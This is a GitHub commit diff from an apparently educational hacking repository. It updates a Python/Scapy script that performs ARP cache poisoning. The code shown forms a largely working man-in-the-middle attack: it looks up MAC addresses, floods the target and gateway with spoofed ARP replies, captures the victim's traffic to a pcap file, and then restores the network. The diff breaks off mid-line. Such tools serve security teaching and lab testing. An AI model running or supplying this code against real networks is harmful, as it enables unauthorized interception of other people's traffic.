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Merge pull request #126 from The-Art-of-Hacking/santosomar-patch-4

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Update arp_cache_poisoner.py
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Omar Santos 2023-07-03 14:01:54 -04:00 committed by GitHub
commit 8928a6f4aa
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1 changed files with 25 additions and 34 deletions
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programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py
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@ -1,6 +1,6 @@
#!/usr/bin/env python3
# ARP Cache Poisoning Attack using SCAPY
# Version: 0.2
# Version: 0.3
# Author: Omar Santos @santosomar
# This script performs an ARP cache poisoning attack using the SCAPY library.
# It spoofs ARP replies to the target and gateway, causing them to update their ARP tables with the attacker's MAC address.
@ -22,13 +22,27 @@ conf.verb = 0
# Get the MAC address of the given IP address.
def get_mac(ip_address):
"""
Retrieves the MAC address corresponding to the given IP address using ARP.
:param ip_address: IP address for which to retrieve the MAC address.
:return: MAC address if found, None otherwise.
"""
resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
for s,r in resp:
for s, r in resp:
return r[ARP].hwsrc
return None
# Restore the network by reversing the ARP poison attack.
def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
"""
Restores the network by sending ARP packets to correct the IP-MAC mappings.
:param gateway_ip: IP address of the gateway.
:param gateway_mac: MAC address of the gateway.
:param target_ip: IP address of the target device.
:param target_mac: MAC address of the target device.
"""
send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
print("[*] Disabling IP forwarding")
@ -37,6 +51,14 @@ def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
# Perform the ARP poisoning attack.
def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
"""
Performs the ARP poisoning attack by sending crafted ARP packets.
:param gateway_ip: IP address of the gateway.
:param gateway_mac: MAC address of the gateway.
:param target_ip: IP address of the target device.
:param target_mac: MAC address of the target device.
"""
print("[*] Started ARP poison attack [CTRL-C to stop]")
try:
while True:
@ -60,35 +82,4 @@ if gateway_mac is None:
print("[!] Unable to get gateway MAC address. Exiting..")
sys.exit(0)
else:
print(f"[*] Gateway MAC address: {gateway_mac}")
target_mac = get_mac(target_ip)
if target_mac is None:
print("[!] Unable to get target MAC address. Exiting..")
sys.exit(0)
else:
print(f"[*] Target MAC address: {target_mac}")
# Start the ARP poison thread
poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
# Collect packet captures and save them to a file
try:
sniff_filter = "ip host " + target_ip
print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
# Save captured packets to a .pcap file
wrpcap(target_ip + "_capture.pcap", packets)
print(f"[*] Stopping network capture..Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
# Gracefully handle KeyboardInterrupt (Ctrl+C) to stop packet capture and restore the network
except KeyboardInterrupt:
print(f"[*] Stopping network capture..Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)
print(f"[*